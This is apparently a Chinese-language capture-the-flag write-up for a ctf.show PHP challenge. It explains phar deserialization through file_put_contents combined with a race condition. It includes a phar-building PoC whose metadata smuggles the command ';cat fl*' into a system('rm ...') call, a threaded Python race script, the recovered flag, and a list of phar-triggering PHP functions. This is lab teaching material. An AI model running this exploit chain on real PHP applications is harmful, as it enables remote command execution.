nginx/1.16.1PHP/7.3.11phar反序列化条件竞争
<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-12-08 19:13:36# @Last Modified by: h1xa# @Last Modified time: 2020-12-08 20:08:07# @email: h1xa@ctfer.com# @link: https://ctfer.com*/highlight_file(__FILE__);class filter{public $filename;public $filecontent;public $evilfile=false;public $admin = false;public function __construct($f,$fn){$this->filename=$f;$this->filecontent=$fn;}public function checkevil(){if(preg_match('/php|\.\./i', $this->filename)){$this->evilfile=true;}if(preg_match('/flag/i', $this->filecontent)){$this->evilfile=true;}return $this->evilfile;}public function __destruct(){if($this->evilfile && $this->admin){system('rm '.$this->filename);}}}if(isset($_GET['fn'])){$content = file_get_contents('php://input');$f = new filter($_GET['fn'],$content);if($f->checkevil()===false){file_put_contents($_GET['fn'], $content);copy($_GET['fn'],md5(mt_rand()).'.txt');unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);echo 'work done';}}else{echo 'where is flag?';}where is flag?
分析:
emm,在上题基础上新增了个判断 $this->admin 然后想着,构造一下序列化不就行了嘛,然后发现没有反序列化函数。。
看了下发现可以通过 file_put_contents 写 phar文件,然后题目中 file_put_contents 第一个参数可控,那么我们可以使用 phar:// 协议,通过 $content 传入 phar 数据,这样在 PHP 通过 phar:// 协议解析数据时,会将 meta-data 部分进行反序列化。
不过题目会删除文件,所以需要在删除文件前执行文件进行以上操作,因此要用到条件竞争,即生成了 phar 文件,在极短时间内文件是存在的,因为执行到 unlink 函数前还有一个 copy 文件操作,磁盘 io 是需要一定时间的。只要我们不断在写入 phar 文件,那么这个文件就可以断断续续访问到~
poc
phar构造如下,会在当前目录生成 evil.phar 文件
<?phpclass filter{public $filename = ';cat fl*';public $evilfile = true;public $admin = true;}// 后缀必须为phar$phar = new Phar("evil.phar");$phar->startBuffering();// 设置 stubb$phar->setStub("<?php __HALT_COMPILER(); ?>");$o = new filter();/*** 将自定义的 meta-data 存入 manifest* 这个函数需要在php.ini中修改 phar.readonly 为 Off* 否则的话会抛出* creating archive "***.phar" disabled by the php.ini setting phar.readonly* 异常.*/$phar->setMetadata($o);// 添加需压缩的文件$phar->addFromString("test.txt", "test");$phar->stopBuffering();?>
条件竞争,py3脚本
import base64import requestsimport threadingflag = Falseurl = 'http://0f5a5b64-ef6b-4317-b093-3f2fc62f1df9.challenge.ctf.show:8080/'data = open('./evil.phar', 'rb').read()pre_resp = requests.get(url)if pre_resp.status_code != 200:print(url + '\n链接好像挂了....')exit(1)def upload():requests.post(url+"?fn=evil.phar", data=data)def read():global flagr = requests.post(url+"?fn=phar://evil.phar/", data="")if "ctfshow{" in r.text and flag is False:print(base64.b64encode(r.text.encode()))flag = Truewhile flag is False:a = threading.Thread(target=upload)b = threading.Thread(target=read)a.start()b.start()

base64解码一下即可
flag
ctfshow{6aaf355a-d65b-40f7-8099-c429a6030b65}
题外
除了 file_put_contents 外,会把 phar 反序列化的函数还有:
| 受影响的函数列表 | |||
|---|---|---|---|
| filename | filectime (获取文件的inode更改时间) |
file_exists | file_get_contents |
| file_put_contents | file | filegroup (获取文件的组名) |
fopen |
| fileinode (获取文件inode) |
filemtime (获取文件的修改时间) |
fileowner | fileperms (获取文件权限) |
| is_dir | is_executable | is_file | is_link (判断文件名是否为符号链接) |
| is_readable | is_writable | is_writeable | parse_ini_file (解析配置文件) |
| copy | unlink | stat (获取文件相关信息) |
readfile (输入文件内容) |
